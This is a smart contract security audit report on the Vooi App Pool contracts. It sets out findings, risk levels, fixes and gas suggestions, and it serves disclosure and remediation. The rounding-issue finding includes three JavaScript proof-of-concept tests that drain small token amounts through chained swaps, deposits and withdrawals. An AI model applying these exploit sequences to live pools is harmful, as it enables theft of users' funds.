Smart Contract Security Audit Report

Vooi App

1. Contents

2. General Information

This report contains information about the results of the security audit of the Vooi App(hereafter referred to as "Customer") Pool smart contracts, conducted by Decurity in the period from 07/24/2023 to 08/02/2023.

2.1. Introduction

Tasks solved during the work are:

- Review the protocol design and the usage of 3rd party dependencies,
- Audit the contracts implementation,
- Develop the recommendations and suggestions to improve the security of the contracts.

2.2. Scope of Work

The final audit scope included the contracts in the following repository: https://github.com/vooi-app/pool. Initial review was done for the commit dd3e0500f202cb8eb80e67bfca25ec208b72ebca in the different private repository. The final review confirmed the fixes and the authenticity of the code in the new repository, commit 855d017c72c46b2152dbcc7f64c36cb9f4f5e817.

2.3. Threat Model

The assessment presumes actions of an intruder who might have capabilities of any role (an external user, token owner, token service owner, a contract). The centralization risks have not been considered upon the request of the Customer.

The main possible threat actors are:

- User,
- Protocol owner,
- Liquidity Token owner/contract.

The table below contains sample attacks that malicious attackers might carry out.

Table. Theoretically possible attacks

Attack	Actor
Contract code or data hijacking *Deploying a malicious contract or submitting malicious data*	Contract owner Token owner
Financial fraud *A malicious manipulation of the business logic and balances, such as a re-entrancy attack or a flash loan attack*	Anyone
Attacks on implementation *Exploiting the weaknesses in the compiler or the runtime of the smart contracts*	Anyone

2.4. Weakness Scoring

An expert evaluation scores the findings in this report, an impact of each vulnerability is calculated based on its ease of exploitation (based on the industry practice and our experience) and severity (for the considered threats).

2.5. Disclaimer

Due to the intrinsic nature of the software and vulnerabilities and the changing threat landscape, it cannot be generally guaranteed that a certain security property of a program holds.

Therefore, this report is provided “as is” and is not a guarantee that the analyzed system does not contain any other security weaknesses or vulnerabilities. Furthermore, this report is not an endorsement of the Customer’s project, nor is it an investment advice.

That being said, Decurity exercises best effort to perform their contractual obligations and follow the industry methodologies to discover as many weaknesses as possible and maximize the audit coverage using the limited resources.

3. Summary

As a result of this work, we have discovered 2 medium risk issues. The other suggestions included fixing the low-risk issues and some best practices (see Security Process Improvement).

3.1. Suggestions

The table below contains the discovered issues, their risk level, and their status as of August 22, 2023.

Table. Discovered weaknesses

Issue	Contract	Risk Level	Status
Centralisation risks		Medium	Fixed
Rounding issues	contracts/pool/Pool.sol	Medium	Fixed
newMaxSupplyWad could be less that current liability	contracts/pool/Pool.sol	Low	Fixed
Wrong comparison in _isConvertableToInt256	contracts/pool/Pool.sol	Low	Fixed
Reentrancy in deposit	Pool.sol	Info	Acknowledged
Revert string longer than 32 bytes		Info	Acknowledged
State variables read in a loop	contracts/pool/Pool.sol	Info	Acknowledged
Amplification factor could be 0	contracts/pool/Pool.sol	Info	Acknowledged
Non-optimal require statements	contracts/pool/Pool.sol	Info	Acknowledged
Array length not cached in the loop	contracts/pool/Pool.sol	Info	Acknowledged

Issue	Contract	Risk Level	Status
Unnecessary checked arithmetic in a loop	contracts/pool/Pool.sol	**Info**	Acknowledged
String error messages used instead of custom errors	contracts/pool/Pool.sol	**Info**	Acknowledged
Lack of checking the value of maxSupply	contracts/pool/Pool.sol	**Info**	Acknowledged
Unused storage variable	contracts/pool/Pool.sol	**Info**	Acknowledged

4. General Recommendations

This section contains general recommendations on how to improve overall security level.

The Findings section contains technical recommendations for each discovered issue.

4.1. Security Process Improvement

The following is a brief long-term action plan to mitigate further weaknesses and bring the product security to a higher level:

- Keep the whitepaper and documentation updated to make it consistent with the implementation and the intended use cases of the system,
- Perform regular audits for all the new contracts and updates,
- Ensure the secure off-chain storage and processing of the credentials (e.g. the privileged private keys),
- Launch a public bug bounty campaign for the contracts.

5. Findings

5.1. Centralisation risks

Risk Level: Medium

Status: The pool's owner will be Timelock.

Description:

Owner can add fake tokens to drain assets from the pool.

Remediation:

Consider implementing a two-step process for adding assets to the pool which will allow users to withdraw their funds before a new token has been added.

5.2. Rounding issues

Risk Level: Medium

Status: Fixed in the commit 855d017c.

Contracts:

- contracts/pool/Pool.sol

Location: Function: `deposit, withdraw, swap`.

Description:

There're a few cases when the rounding in the underlying calculations lead to small discrepancies.

1. In case when tokens have different decimals, it's possible to claim small part of the initial pool via swapping and depositing.

   Example:

   - Token 1 has 6 decimals, Token 2 has 18 decimals
   - Initial pool deposit: 100k Token 1, 100k token 2
   - Swap Token 1 → Token 2, to lower Token 2 cash as much as possible
   - Deposit into token 1 to get rewards
   - Deposit into token 2 to get rewards

- Swap back all received Token 2 to token 1
- Withdraw Token 1
- Withdraw Token 2
- Swap extra Token 2 to Token 1

As a result, user will have their remaining Token 2 and will get some extra Token 1.

POC:

```
const ampFactor = BigNumber.from('1000000000000000');
const lpFeeRate = BigNumber.from('100000000000000');
const mintAmount = BigNumber.from(parseEther('100000000000'));
const maxSupply = BigNumber.from(parseEther('100000000000'));
const depositAmount = BigNumber.from(parseEther('100'));

it('Extra token 1', async() => {
    await pool.addAsset(token1.address, maxSupply, '6');
    const token1Index = (await pool.lastIndex()).sub(1);
    expect(await pool.assetToIndex(token1.address)).to.eq(0);
    expect((await pool.indexToAsset('0')).token).to.eq(token1.address);

    await pool.addAsset(token2.address, maxSupply, '18');
    const token2Index = (await pool.lastIndex()).sub(1);


    await token2.mint(user.address, mintAmount);
    await token1.mint(user.address, mintAmount);

    await pool.deposit(
      token1Index,
      depositAmount.mul(1000).div("1000000000000"),
      0,
      owner.address,
      ethers.constants.MaxUint256
    )

    await pool.deposit(
      token2Index,
      depositAmount.mul(1000),
      0,
      owner.address,
      ethers.constants.MaxUint256
    )

    let start_balance = await token2.balanceOf(user.address);
    console.log("user start balance", start_balance);
```

```
    const swapAmount = depositAmount.mul(1000).div("1000000000000");

    for (let i = 0; i < 1; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount,
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
    }

    for (let i = 2; i < 3; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount.div(20),
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
    }

    for (let i = 3; i < 6; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount.div(100),
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
    }

    for (let i = 6; i < 9; i ++) {
        console.log(i);
        await pool.connect(user).swap(
          token1Index,
          token2Index,
          swapAmount.div(1000),
          0,
          user.address,
          ethers.constants.MaxUint256,
        );
    }
```

```
  for (let i = 9; i < 63; i ++) {
    console.log(i);
    await pool.connect(user).swap(
      token1Index,
      token2Index,
      swapAmount.div(10000),
      0,
      user.address,
      ethers.constants.MaxUint256,
    );
  }

  let balance_after_swap = await token2.balanceOf(user.address);
  let diff = balance_after_swap.sub(start_balance);

  await pool.connect(user).deposit(
    token1Index,
    depositAmount.mul(500000),
    0,
    user.address,
    ethers.constants.MaxUint256
  )

  await pool.connect(user).deposit(
    token2Index,
    depositAmount.mul(5000000),
    0,
    user.address,
    ethers.constants.MaxUint256
  )


  let user_erc1155_balance = await pool.balanceOf(user.address, 1);
  let user_erc1155_balance_0 = await pool.balanceOf(user.address, 0);

  await pool.connect(user).swap(
    token2Index,
    token1Index,
    diff,
    0,
    user.address,
    ethers.constants.MaxUint256,
  );

  await pool.connect(user).withdraw(
    token2Index,
    user_erc1155_balance,
    '1',
```

```
      user.address,
      ethers.constants.MaxUint256,
    )


    await pool.connect(user).withdraw(
      token1Index,
      user_erc1155_balance_0,
      '1',
      user.address,
      ethers.constants.MaxUint256,
    )

    await pool.connect(user).swap(
      token2Index,
      token1Index,
      "9782964771717901869742",
      0,
      user.address,
      ethers.constants.MaxUint256,
    );

    let final_balance_1 = await token1.balanceOf(user.address);
    let final_balance_2 = await token2.balanceOf(user.address);
    console.log("final balance 1", final_balance_1);
    console.log("final balance 2", final_balance_2);

    let pool_final_balance_1 = await token1.balanceOf(pool.address);
    let pool_final_balance_2 = await token2.balanceOf(pool.address);

    console.log("pool final balance 1", pool_final_balance_1);
    console.log("pool final balance 2", pool_final_balance_2);

  })
Here, the user got extra `24010292 / 1e6` worth of Token 1.

![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/4b0a4e74-0464-
4c4a-989c-9693a9bb1b04/Screenshot_2023-08-03_at_11.41.06.png?X-Amz-
Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-
Credential=AKIAT73L2G45EIPT3X45%2F20230822%2Fus-west-2%2Fs3%2Faws4_request&X-
Amz-Date=20230822T134930Z&X-Amz-Expires=3600&X-Amz-
Signature=2b44f3c013b97ce5976edce5d6581283c9bcf02504c3d73c9ac471a94c806895&X-
Amz-SignedHeaders=host&x-id=GetObject)

However, this attack requires huge amounts of Token 1 which makes it
unrealistic.
```

2. In case when fee is set to 0, it's possible to get profit via back swaps.

Example:

- Initial pool deposit: 100k Token 1, 100k token 2
- Swap 100k Token 1 to Token 2
- Swap received Token 2 to Token 1

POC:

```
const ampFactor = BigNumber.from('1000000000000000');
const lpFeeRate = BigNumber.from('0');
const mintAmount = BigNumber.from(parseEther('100000000000'));
const maxSupply = BigNumber.from(parseEther('100000000000'));
const depositAmount = BigNumber.from(parseEther('100'));

it('Zero Fee', async() => {
    await pool.addAsset(token1.address, maxSupply, '18');
    const token1Index = (await pool.lastIndex()).sub(1);
    expect(await pool.assetToIndex(token1.address)).to.eq(0);
    expect((await pool.indexToAsset('0')).token).to.eq(token1.address);

    await pool.addAsset(token2.address, maxSupply, '18');
    const token2Index = (await pool.lastIndex()).sub(1);


    await token2.mint(user.address, mintAmount);
    await token1.mint(user.address, mintAmount);

    await pool.deposit(
      token1Index,
      depositAmount.mul(1000),
      0,
      owner.address,
      ethers.constants.MaxUint256
    )

    await pool.deposit(
      token2Index,
      depositAmount.mul(1000),
      0,
      owner.address,
      ethers.constants.MaxUint256
    )

    let start_balance = await token2.balanceOf(user.address);
    console.log("user start balance", start_balance);

    const swapAmount = depositAmount.mul(1000);
```

```
    await pool.connect(user).swap(
      token1Index,
      token2Index,
      swapAmount,
      0,
      user.address,
      ethers.constants.MaxUint256,
    );

    let balance_after_swap = await token2.balanceOf(user.address);
    let diff = balance_after_swap.sub(start_balance);

    await pool.connect(user).swap(
      token2Index,
      token1Index,
      diff,
      0,
      user.address,
      ethers.constants.MaxUint256,
    );

    let final_balance_1 = await token1.balanceOf(user.address);
    let final_balance_2 = await token2.balanceOf(user.address);
    console.log("final balance 1", final_balance_1);
    console.log("final balance 2", final_balance_2);

    let pool_final_balance_1 = await token1.balanceOf(pool.address);
    let pool_final_balance_2 = await token2.balanceOf(pool.address);

    console.log("pool final balance 1", pool_final_balance_1);
    console.log("pool final balance 2", pool_final_balance_2);
})
In this case the user got extra `100000 / 1e18` Token 1.

![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/27cd734d-ff28-425f-8219-788e9ecd5a21/Screenshot_2023-08-03_at_11.55.26.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20230822%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20230822T134930Z&X-Amz-Expires=3600&X-Amz-Signature=6090964034ffde5ce32dcf2e20c668e8eb6049e21e4b8b94c23c672384f10543&X-Amz-SignedHeaders=host&x-id=GetObject)
```

3. In case when cash is very low relatively to liability, or very high relatively to liability it's possible to swap 0 amounts for actual tokens.

   POC:

```
const ampFactor = BigNumber.from('1000000000000000');
const lpFeeRate = BigNumber.from('100000000000000');
const mintAmount = BigNumber.from(parseEther('100000000000'));
const maxSupply = BigNumber.from(parseEther('100000000000'));
const depositAmount = BigNumber.from(parseEther('100'));

it('Zero Swap', async() => {
    await pool.addAsset(token1.address, maxSupply, '18');
    const token1Index = (await pool.lastIndex()).sub(1);
    expect(await pool.assetToIndex(token1.address)).to.eq(0);
    expect((await pool.indexToAsset('0')).token).to.eq(token1.address);

    await pool.addAsset(token2.address, maxSupply, '18');
    const token2Index = (await pool.lastIndex()).sub(1);


    await token2.mint(user.address, mintAmount);
    await token1.mint(user.address, mintAmount);

    await pool.deposit(
      token1Index,
      depositAmount.mul(1000),
      0,
      owner.address,
      ethers.constants.MaxUint256
    )

    await pool.deposit(
      token2Index,
      depositAmount.mul(1000),
      0,
      owner.address,
      ethers.constants.MaxUint256
    )

    let start_balance = await token2.balanceOf(user.address);
    console.log("user start balance", start_balance);

    const swapAmount = depositAmount.mul(1000);

    for (let i = 0; i < 1; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount,
        0,
        user.address,
        ethers.constants.MaxUint256,
```

```
    );
  }

  for (let i = 1; i < 2; i ++) {
    console.log(i);
    await pool.connect(user).swap(
      token1Index,
      token2Index,
      swapAmount.div(20),
      0,
      user.address,
      ethers.constants.MaxUint256,
    );
  }

  for (let i = 3; i < 6; i ++) {
    console.log(i);
    await pool.connect(user).swap(
      token1Index,
      token2Index,
      swapAmount.div(100),
      0,
      user.address,
      ethers.constants.MaxUint256,
    );
  }

  for (let i = 6; i < 14; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount.div(1000),
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
  }

  for (let i = 14; i < 18; i ++) {
    console.log(i);
    await pool.connect(user).swap(
      token1Index,
      token2Index,
      swapAmount.div(10000),
      0,
      user.address,
      ethers.constants.MaxUint256,
    );
```

```
    }

    for (let i = 18; i < 25; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount.div(100000),
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
    }

    for (let i = 25; i < 33; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount.div(1000000),
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
    }

    for (let i = 33; i < 41; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount.div(10000000),
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
    }

    for (let i = 41; i < 42; i ++) {
      console.log(i);
      await pool.connect(user).swap(
        token1Index,
        token2Index,
        swapAmount.div(100000000),
        0,
        user.address,
        ethers.constants.MaxUint256,
      );
    }
```

```
    let user_1_balance_before_swap = await token1.balanceOf(user.address);

    await pool.connect(user).swap(
        token2Index,
        token1Index,
        0,
        0,
        user.address,
        ethers.constants.MaxUint256,
    );

    let user_1_balance_after_swap = await token1.balanceOf(user.address);
    console.log("Swapped 0 token 1 for ",
user_1_balance_after_swap.sub(user_1_balance_before_swap));


    let user_2_balance_before_swap = await token2.balanceOf(user.address);

    await pool.connect(user).swap(
        token1Index,
        token2Index,
        0,
        0,
        user.address,
        ethers.constants.MaxUint256,
    );

    let user_2_balance_after_swap = await token2.balanceOf(user.address);
    console.log("Swapped 0 token 2 for ",
user_2_balance_after_swap.sub(user_2_balance_before_swap));
  })
```

```
Here the user was able to get `100000 / 1e18` worth of Token 2 and `100000 /
1e18` worth of Token 1 for free.

![](https://s3.us-west-2.amazonaws.com/secure.notion-static.com/d35bbc16-5e97-
42f0-b478-0920d15eb237/Screenshot_2023-08-03_at_12.28.09.png?X-Amz-
Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-
Credential=AKIAT73L2G45EIPT3X45%2F20230822%2Fus-west-2%2Fs3%2Faws4_request&X-
Amz-Date=20230822T134930Z&X-Amz-Expires=3600&X-Amz-
Signature=b0000261c5432f390ff0b7aaf5899dba14c26d7bb824931407b01699589772ea&X-
Amz-SignedHeaders=host&x-id=GetObject)
```

Remediation:

Consider the possible discrepancies in the risk model and the accounting. If possible, mitigate by setting tighter limits on the amounts.

5.3. newMaxSupplyWad could be less that current liability

Risk Level: Low

Status: Fixed in the commit 855d017c.

Contracts:

- contracts/pool/Pool.sol

Description:

The `changeMaxSupply()` function can be used to change the `maxSupply` parameter for a given asset. That function has several `require` statements but it doesn't validate that the current liability is less than the new supply. If the current liability is more that the new `maxSupply` that means that the given pool will never stabilize because a cash value always will be less than the liability.

Remediation:

Consider implementing the check

```
require(
    indexToAsset[_tokenID].liability <= newMaxSupplyWad,
    'Current liability exceeds given maxSupply'
);
```

5.4. Wrong comparison in _isConvertableToInt256

Risk Level: Low

Status: Fixed in the commit 855d017c.

Contracts:

- contracts/pool/Pool.sol

Location: Lines: 772.

Description:

The operator in `_isConvertableToInt256()` should be ≤ instead of the strict comparison.

```
contracts/pool/Pool.sol:
  767:     function _isConvertableToInt256(uint256 _value)
  768:         private
  769:         view
  770:         returns (bool)
```

```
771:     {
772:         return _value < uint256(type(int256).max);
773:     }
```

Remediation:

Consider changing the comparison operator to ≤.

5.5. Reentrancy in deposit

Risk Level: Info

Status: Acknowledged

Contracts:

- Pool.sol

Location: Lines: 389. Function: `deposit`.

Description:

`deposit` function performs an `onERC1155Received` callback when calling `_mint(_to, _id, liquidity, '');` at line 389 to mint new position. This allows users to perform re-entrant calls on `deposit` itself or other functions. Despite the fact that reentrancy itself doesn't seem to have any impact, it allows users to perform flash loans in the pool via calling `withdaw` in `onERC1155Received` callback. This is possible because tokens for deposit are transferred after minting position at line 391.

Remediation:

In order to fix reentrancy you should transfer tokens before minting new position.

5.6. Revert string longer than 32 bytes

Risk Level: Info

Status: Acknowledged

Description:

Shortening revert strings to fit in 32 bytes will decrease gas costs for deployment and gas costs when the revert condition has been met.

```
contracts/pool/Pool.sol:
  249              _isConvertableToInt256(indexToAsset[_id].cash),
  250:             'Impossible to spread accumulated error'
  251          );
contracts/pool/Pool.sol:
  301              indexToAsset[_tokenID].cash <= newMaxSupplyWad,
  302:             'Current balance exceeds given maxSupply'
  303          );
```

Remediation:

Consider to use short revert strings or custom errors for gas optimization.

References:

- https://github.com/byterocket/c4-common-issues/blob/main/0-Gas-Optimizations.md/#g007—long-revert-strings

5.7. State variables read in a loop

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

There are two places where the storage variable is read on every iteration of a loop.

```
contracts/pool/Pool.sol:
    650:         for (uint256 i = 0; i < lastIndex; i++) {
    668:         for (uint256 i = 0; i < lastIndex; i++) {
```

Remediation:

Consider to cache `lastIndex` in memory before the loops to save gas.

5.8. Amplification factor could be 0

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

The owner of the contract could set the amplification factor to 0 using the `setA()` or `initialize()` functions due to a lack of validation. This factor would break deposits due to division by zero and lead to a DoS.

Remediation:

Validate the amplification factor.

5.9. Non-optimal require statements

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

Using multiple require statements is cheaper than using && multiple check combinations. There are more advantages, such as easier to read code and better coverage reports.

```
contracts/pool/Pool.sol:
    736:     require(toLiabilityI != 0 && fromLiabilityI != 0, 'Invalid
value');
```

Remediation:

Example of a non-optimal code:

```
require(amount > 0 && from == owner, "Invalid data");
```

Consider separate check:

```
require(amount > 0, "Amount is zero");
require(from == owner, "Not an owner");
```

References:

- https://github.com/code-423n4/2022-01-xdefi-findings/issues/128

5.10. Array length not cached in the loop

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

Caching the array length outside a loop saves reading it on each iteration, as long as the array's length is not changed during the loop.

There are the following instances:

```
contracts/pool/Pool.sol:
    650:     for (uint256 i = 0; i < lastIndex; i++) {
    668:     for (uint256 i = 0; i < lastIndex; i++) {
```

Remediation:

Example of a not optimized code:

```
for (uint256 i = 0; i < tokens.length; i++) {
```

Consider saving array length before the loop:

```
uint256 l = tokens.length;
for (uint256 i = 0; i < l; i++) {
```

References:

- https://github.com/byterocket/c4-common-issues/blob/main/0-Gas-Optimizations.md/#g002—cache-array-length-outside-of-loop
- https://github.com/code-423n4/2021-11-badgerzaps-findings/issues/36

5.11. Unnecessary checked arithmetic in a loop

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

Use `unchecked` blocks where overflow/underflow is impossible. There are several loops where arithmetic checks are not necessary:

```
contracts/pool/Pool.sol:
    650:     for (uint256 i = 0; i < lastIndex; i++) {
    668:     for (uint256 i = 0; i < lastIndex; i++) {
```

Remediation:

An example of a not optimized code:

```
for (uint i; i < len; ++i) {
    // ...
}
```

Consider the following example to save gas:

```
for (uint i; i < len; ) {
    // ...
    unchecked { ++i; }
}
```

References:

- https://github.com/byterocket/c4-common-issues/blob/main/0-Gas-Optimizations.md/#g011—unnecessary-checked-arithmetic-in-for-loop

5.12. String error messages used instead of custom errors

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

The contracts make use of the `require()` to emit an error. While this is a perfectly valid way to handle errors in Solidity, it is not always the most efficient.

```
contracts/pool/Pool.sol:
    119:   require(to != address(0), 'Zero address');
    124:   require(deadline > block.timestamp, 'Deadline not met');
```

```
    137:   require(_a <= WAD, 'Invalid value');
    138:   require(_lpFee <= WAD, 'Invalid value');
    163:   require(_newA <= WAD, 'Invalid value');
    173:   require(_newLpFee <= WAD, 'Invalid value');
    179:   require(_newLpDividendRatio <= WAD, 'Invalid value');
    245:   require(_amount <= accumulatedError, 'Invalid value');
    248:   require(_isConvertableToInt256(indexToAsset[_id].cash), 'Impossible
to spread accumulated error');
    270:   require(indexToAsset[assetToIndex[_token]].token != _token, 'Asset
has already been added');
    296:   require(_isConvertableToInt256(newMaxSupplyWad), 'New max supply
too high');
    300:   require(indexToAsset[_tokenID].cash <= newMaxSupplyWad, 'Current
balance exceeds given maxSupply');
    360:   require(indexToAsset[_id].active, 'Asset was deactivated by
owner');
    361:   require(indexToAsset[_id].cash +
_amount.toWad(indexToAsset[_id].decimals) <= indexToAsset[_id].maxSupply,
'Forbidden: max supply exceeded');
    377:   require(_minimumLiquidity < liquidity, 'Amount too low');
    378:   require(_isConvertableToInt256(indexToAsset[_id].liability +
liabilityToMint), 'Liability too high');
    437:   require(_minAmount.toWad(asset.decimals) < amount, 'Amount too
low');
    447:   require(asset.liability <= 0 || asset.cash.wdiv(asset.liability) >=
WAD / 100, 'Forbidden withdraw');
    493:   require(indexToAsset[_fromID].active, 'Asset was deactivated by
owner');
    494:   require(indexToAsset[_toID].active, 'Asset was deactivated by
owner');
    495:   require(indexToAsset[_fromID].token != indexToAsset[_toID].token,
'Same address');
    499:   require(indexToAsset[_fromID].cash +
_fromAmount.toWad(indexToAsset[_fromID].decimals) <=
indexToAsset[_fromID].maxSupply, 'Forbidden: max supply exceeded');
    547:   require(_isConvertableToInt256(fromAmount +
indexToAsset[fromAsset].cash), 'Initial amount too high');
    556:   require(minimumToAmount < actualToAmount, 'Amount too low');
    564:
require(uint256(indexToAsset[toAsset].cash).wdiv(indexToAsset[toAsset].liabili
ty) >= WAD / 100, 'Forbidden _swap');
    615:   require(cashI + amountI >= 0, 'Invalid value');
    693:   require(liabilityToBurn != 0, 'Zero liquidity');
    736:   require(toLiabilityI != 0 && fromLiabilityI != 0, 'Invalid value');
    757:   require(toCash >= idealToAmount, 'Not enough cash');
```

Remediation:

Consider using custom errors as they are more gas efficient while allowing developers to describe the error in detail using NatSpec.

References:

- https://blog.soliditylang.org/2021/04/21/custom-errors/

5.13. Lack of checking the value of maxSupply

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

The owner of the Pool can add new assets via the `addAsset()` function. There are several params that owner should provide one of them is `maxSupply`.

This param can be more than int256 max value but there is no check of that.

Also that means that validation in `deposit()` and `swap()` functions are not working as expected. Because `maxSupply` could be more than `int256.max`.

```
contracts/pool/Pool.sol:
  361:         require(
  362:             indexToAsset[_id].cash +
  363:                 _amount.toWad(indexToAsset[_id].decimals) <=
  364:                 indexToAsset[_id].maxSupply,
  365:             'Forbidden: max supply exceeded'
  366:         ); // new cash value is less than int256.max (maxSupply is less
than int256.max)
```

Remediation:

Consider adding a validation as it is done in the `changeMaxSupply()` function.

```
require(
    _isConvertableToInt256(newMaxSupplyWad),
    'New max supply too high'
);
```

5.14. Unused storage variable

Risk Level: Info

Status: Acknowledged

Contracts:

- contracts/pool/Pool.sol

Description:

There is a storage variable `feeTo` and a setter function for it — `setFeeTo()`.

```
contracts/pool/Pool.sol:
   62:     address public feeTo;

  190:     function setFeeTo(address _newFeeTo)
  191:         external
  192:         onlyOwner
  193:         checkAddress(_newFeeTo)
  194:     {
  195:         feeTo = _newFeeTo;
  196:         emit NewFeeTo(_newFeeTo);
  197:     }
```

However, in reality, the `feeCollector` address receives all fees.

```
  779:     function _mintFee(uint256 id) private {
  787:             // dividend to feeCollector
  788:             dividend = feeCollected.wmul(WAD - lpDividendRatio);
  789:
  790:             if (dividend > 0) {
  791:                 IERC20Upgradeable(indexToAsset[id].token).safeTransfer(
  792:                     feeCollector,
  793:                     dividend.fromWad(indexToAsset[id].decimals)
  794:                 );
  795:             }
  796:         }
```

Remediation:

Consider removing the unused variable.

6. Appendix

6.1. About us

The Decurity team consists of experienced hackers who have been doing application security assessments and penetration testing for over a decade.

During the recent years, we've gained expertise in the blockchain field and have conducted numerous audits for both centralized and decentralized projects: exchanges, protocols, and blockchain nodes.

Our efforts have helped to protect hundreds of millions of dollars and make web3 a safer place.